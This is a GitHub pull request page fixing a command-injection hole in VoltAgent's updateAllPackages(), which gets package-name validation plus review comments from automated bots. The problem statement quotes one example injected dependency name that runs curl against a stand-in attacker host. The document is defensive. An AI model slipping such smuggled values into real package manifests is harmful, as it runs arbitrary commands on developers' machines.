Skip to content

fix(core): add package name validation to updateAllPackages#1250

Open
octo-patch wants to merge 2 commits intoVoltAgent:mainfrom
octo-patch:fix/issue-1205-updateAllPackages-name-validation
Open

fix(core): add package name validation to updateAllPackages#1250
octo-patch wants to merge 2 commits intoVoltAgent:mainfrom
octo-patch:fix/issue-1205-updateAllPackages-name-validation

Conversation

@octo-patch
Copy link
Copy Markdown
Contributor

@octo-patch octo-patch commented Apr 26, 2026

Fixes #1205

Problem

updateAllPackages() concatenates package names from package.json directly into shell commands passed to execSync() without validation. The sibling function updateSinglePackage() already validates names against a regex (/^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/), but updateAllPackages() did not.

A tampered package.json with a dependency name like @voltagent/exploit$(curl attacker.com) would result in the injected command being executed when execSync runs the update command.

Solution

Applied the same validPkgName regex filter in updateAllPackages() that updateSinglePackage() already uses. Packages with invalid names are filtered out before being added to the shell command. Added an early return when packagesToUpdate is empty after filtering, with a descriptive message.

Testing

The fix is a minimal, targeted filter added to the existing package preparation pipeline. No existing behavior changes for valid package names.


Summary by cubic

Adds package name validation and warn-logging to updateAllPackages() in @voltagent/core to prevent command injection from malformed dependency names. Invalid names are skipped using the same guard as updateSinglePackage(), with a safe early return when none remain.

  • Bug Fixes
    • Validate names with /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/ before building the shell command.
    • Warn-log skipped invalid names to surface possible package.json tampering.
    • Return success with a message if all names are filtered out.

Written for commit 63a2cc7. Summary will update on new commits.

Summary by CodeRabbit

  • Bug Fixes
    • Improved package name validation in the dependency update process to filter out invalid entries before attempting updates.
    • Invalid or filtered packages are now warned about and will not cause the update command to run; if no valid packages remain, the operation completes successfully without invoking the package manager.

…ltAgent#1205)

updateAllPackages() was passing package names from package.json directly
into execSync() shell commands without validation. updateSinglePackage()
already had this protection via a regex guard; this commit applies the
same filter in updateAllPackages() so malformed or injected names are
silently skipped rather than forwarded to the shell.

Co-Authored-By: Octopus <liyuan851277048@icloud.com>
@changeset-bot
Copy link
Copy Markdown

changeset-bot Bot commented Apr 26, 2026

🦋 Changeset detected

Latest commit: 63a2cc7

The changes in this PR will be included in the next version bump.

This PR includes changesets to release 1 package
Name Type
@voltagent/core Patch

Not sure what this means? Click here to learn what changesets are.

Click here if you're a maintainer who wants to add another changeset to this PR

@coderabbitai
Copy link
Copy Markdown
Contributor

coderabbitai Bot commented Apr 26, 2026

📝 Walkthrough

Walkthrough

Adds package-name validation to updateAllPackages: invalid npm package names are filtered out (and warned), and if none remain the function returns early without running the package-manager command, preventing potential command injection.

Changes

Cohort / File(s) Summary
Changeset metadata
.changeset/fix-updateallpackages-validation.md
Adds a changeset documenting a patch bump for @voltagent/core and notes the fix: package name validation added to updateAllPackages.
Core update logic
packages/core/src/utils/update/index.ts
Filters update candidates with npm-name regex /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/, warns about discarded names, and returns early (success) if no valid packages remain to avoid executing an install command with empty args.

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Poem

🐰 I hopped through lists of names so sly,
Sniffed out the strings that might belie,
With careful regex, I fenced the gate,
No rogue shell tricks shall mar our state,
Happy builds now—hop, skip, and high!

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Title check ✅ Passed The title clearly and concisely summarizes the main change: adding package name validation to the updateAllPackages function to prevent command injection.
Description check ✅ Passed The PR description comprehensively covers the problem, solution, and testing notes, addressing all key template sections including problem statement, new behavior, and changesets.
Linked Issues check ✅ Passed The PR fully addresses the requirements from issue #1205: it applies the same validPkgName regex filter to updateAllPackages, filters invalid names before shell command construction, and returns early when all packages are filtered out.
Out of Scope Changes check ✅ Passed All changes are directly scoped to fixing the command injection vulnerability in updateAllPackages; no unrelated modifications are present.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (2)
packages/core/src/utils/update/index.ts (2)

379-379: Consider execFileSync for stronger defense-in-depth.

Regex validation now blocks shell metacharacters, so this is no longer exploitable, but execSync still spawns a shell to interpret the concatenated string. Switching to execFileSync(packageManager, ["add"|"install", ...packagesToUpdate], { cwd: rootDir, stdio: "inherit" }) would remove the shell from the loop entirely, providing a second layer of protection if the regex is ever loosened. Same applies to Line 469 in updateSinglePackage. Optional — only worth doing if you're touching this code path again.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@packages/core/src/utils/update/index.ts` at line 379, Replace the use of
execSync(command, { cwd: rootDir, stdio: "inherit" }) with a shell-less call:
construct the args array (e.g., ["add" or "install", ...packagesToUpdate]) and
call execFileSync(packageManager, args, { cwd: rootDir, stdio: "inherit" }) to
avoid spawning a shell; apply the same change inside updateSinglePackage where
execSync is used, ensuring you pass packageManager and packagesToUpdate (or
single package) as separate arguments rather than a concatenated command string.

335-339: Extract shared package-name validator to avoid duplication.

The exact regex ^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$ is now duplicated here and at Line 423 in updateSinglePackage. The linked issue explicitly suggests extracting "a shared helper for validation" — keeping two copies risks them drifting out of sync (e.g., one gets updated for a future edge case while the other doesn't), which is exactly the kind of inconsistency that originally caused this bug.

♻️ Proposed refactor
+// Command injection protection — only allow valid NPM package names.
+const VALID_PACKAGE_NAME_RE = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;
+const isValidPackageName = (name: string): boolean => VALID_PACKAGE_NAME_RE.test(name);

Then in updateAllPackages:

-    const validPkgName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;
     const packagesToUpdate = updateCheckResult.updates
       .filter((pkg) => pkg.type !== "latest")
-      .filter((pkg) => validPkgName.test(pkg.name))
+      .filter((pkg) => isValidPackageName(pkg.name))
       .map((pkg) => `${pkg.name}@latest`);

And in updateSinglePackage (Line 423):

-    const isValidPackageName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/.test(
-      packageName,
-    );
-    if (!isValidPackageName) {
+    if (!isValidPackageName(packageName)) {
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@packages/core/src/utils/update/index.ts` around lines 335 - 339, Extract the
duplicated package-name regex into a single exported helper (e.g.,
isValidPackageName or PACKAGE_NAME_REGEX) and replace both occurrences: the
local const validPkgName in updateAllPackages (where packagesToUpdate is built
using updateCheckResult.updates) and the check inside updateSinglePackage
(around line 423) should call the shared helper instead of embedding the regex;
update any tests or imports accordingly so both functions use the same
validation implementation to avoid drift.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@packages/core/src/utils/update/index.ts`:
- Around line 336-348: The code silently drops invalid package names when
computing packagesToUpdate from updateCheckResult.updates; update the logic
around packagesToUpdate and LoggerProxy (component: "update-checker") to compute
the rejected names (e.g., those where validPkgName.test(pkg.name) is false), and
emit a warn-level log listing those offending package names before the early
return so operators can see which package.json entries were filtered out; keep
the existing early return and message but add the warning when rejected list is
non-empty.

---

Nitpick comments:
In `@packages/core/src/utils/update/index.ts`:
- Line 379: Replace the use of execSync(command, { cwd: rootDir, stdio:
"inherit" }) with a shell-less call: construct the args array (e.g., ["add" or
"install", ...packagesToUpdate]) and call execFileSync(packageManager, args, {
cwd: rootDir, stdio: "inherit" }) to avoid spawning a shell; apply the same
change inside updateSinglePackage where execSync is used, ensuring you pass
packageManager and packagesToUpdate (or single package) as separate arguments
rather than a concatenated command string.
- Around line 335-339: Extract the duplicated package-name regex into a single
exported helper (e.g., isValidPackageName or PACKAGE_NAME_REGEX) and replace
both occurrences: the local const validPkgName in updateAllPackages (where
packagesToUpdate is built using updateCheckResult.updates) and the check inside
updateSinglePackage (around line 423) should call the shared helper instead of
embedding the regex; update any tests or imports accordingly so both functions
use the same validation implementation to avoid drift.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 68e99104-cd2a-40e3-b136-e33458b2f9b3

📥 Commits

Reviewing files that changed from the base of the PR and between c05cc36 and 9ad503c.

📒 Files selected for processing (2)
  • .changeset/fix-updateallpackages-validation.md
  • packages/core/src/utils/update/index.ts

Comment thread packages/core/src/utils/update/index.ts Outdated
Copy link
Copy Markdown
Contributor

@cubic-dev-ai cubic-dev-ai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No issues found across 2 files

Surface package names rejected by the validation regex via a warn-level log so
operators can investigate possible package.json tampering rather than only
seeing the generic "No packages to update after filtering" message.

Addresses CodeRabbit review feedback on PR VoltAgent#1250.

Co-Authored-By: Octopus <liyuan851277048@icloud.com>
Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (2)
packages/core/src/utils/update/index.ts (2)

335-341: Consider extracting the package-name regex into a shared helper.

The same regex /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/ now lives in both updateAllPackages (Line 335) and updateSinglePackage (Line 434). Extracting an isValidPackageName(name: string): boolean helper at module scope (or in a small validation.ts next to this file) would keep the two call sites in lockstep if the rule ever changes — which is exactly the supply-chain hardening surface you don't want to drift.

♻️ Suggested extraction
+const VALID_PACKAGE_NAME = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;
+const isValidPackageName = (name: string): boolean => VALID_PACKAGE_NAME.test(name);
+
 // ... inside updateAllPackages:
-    const validPkgName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;
     const candidateUpdates = updateCheckResult.updates.filter((pkg) => pkg.type !== "latest");
     const invalidNames = candidateUpdates
       .map((pkg) => pkg.name)
-      .filter((name) => !validPkgName.test(name));
+      .filter((name) => !isValidPackageName(name));
     const packagesToUpdate = candidateUpdates
-      .filter((pkg) => validPkgName.test(pkg.name))
+      .filter((pkg) => isValidPackageName(pkg.name))
       .map((pkg) => `${pkg.name}@latest`);

 // ... inside updateSinglePackage:
-    const isValidPackageName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/.test(
-      packageName,
-    );
-    if (!isValidPackageName) {
+    if (!isValidPackageName(packageName)) {
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@packages/core/src/utils/update/index.ts` around lines 335 - 341, The
package-name regex is duplicated in updateAllPackages and updateSinglePackage;
extract it into a shared helper to prevent drift by adding a module-level
function isValidPackageName(name: string): boolean (or a small validation.ts
exporting that function) and replace direct regex.test calls in
updateAllPackages and updateSinglePackage with calls to isValidPackageName, and
update the candidateUpdates/invalidNames/packagesToUpdate logic to use the new
helper.

354-359: Handler masks successful filtering-to-zero outcome.

The handleInstallUpdates function discards the return value of updateAllPackages() and always responds with the generic "Updates installed successfully" message (line 45-47), regardless of whether packages were actually updated. When all candidates are filtered out, callers receive success without knowing zero packages were updated. Consider propagating the message or updatedPackages count from updateAllPackages, or at least returning a distinct signal for zero-package outcomes. Acknowledged as out of scope for this PR, but the new filtering branch makes this silent-success path more reachable.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@packages/core/src/utils/update/index.ts` around lines 354 - 359, The handler
handleInstallUpdates currently ignores the return value of updateAllPackages and
always returns "Updates installed successfully"; change handleInstallUpdates to
capture and propagate updateAllPackages' result (or at minimum its
updatedPackages count/message) so callers can see when zero packages were
updated (e.g., when packagesToUpdate.length === 0 returns early in
updateAllPackages); update the final response to return the original message or
a distinct "No packages updated" signal when updatedPackages is 0, ensuring you
reference handleInstallUpdates and updateAllPackages/updatedPackages when making
the change.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Nitpick comments:
In `@packages/core/src/utils/update/index.ts`:
- Around line 335-341: The package-name regex is duplicated in updateAllPackages
and updateSinglePackage; extract it into a shared helper to prevent drift by
adding a module-level function isValidPackageName(name: string): boolean (or a
small validation.ts exporting that function) and replace direct regex.test calls
in updateAllPackages and updateSinglePackage with calls to isValidPackageName,
and update the candidateUpdates/invalidNames/packagesToUpdate logic to use the
new helper.
- Around line 354-359: The handler handleInstallUpdates currently ignores the
return value of updateAllPackages and always returns "Updates installed
successfully"; change handleInstallUpdates to capture and propagate
updateAllPackages' result (or at minimum its updatedPackages count/message) so
callers can see when zero packages were updated (e.g., when
packagesToUpdate.length === 0 returns early in updateAllPackages); update the
final response to return the original message or a distinct "No packages
updated" signal when updatedPackages is 0, ensuring you reference
handleInstallUpdates and updateAllPackages/updatedPackages when making the
change.

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 280125ee-68eb-4b5b-946f-73006dfec8a4

📥 Commits

Reviewing files that changed from the base of the PR and between 9ad503c and 63a2cc7.

📒 Files selected for processing (1)
  • packages/core/src/utils/update/index.ts

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[BUG] updateAllPackages missing command injection protection present in updateSinglePackage

1 participant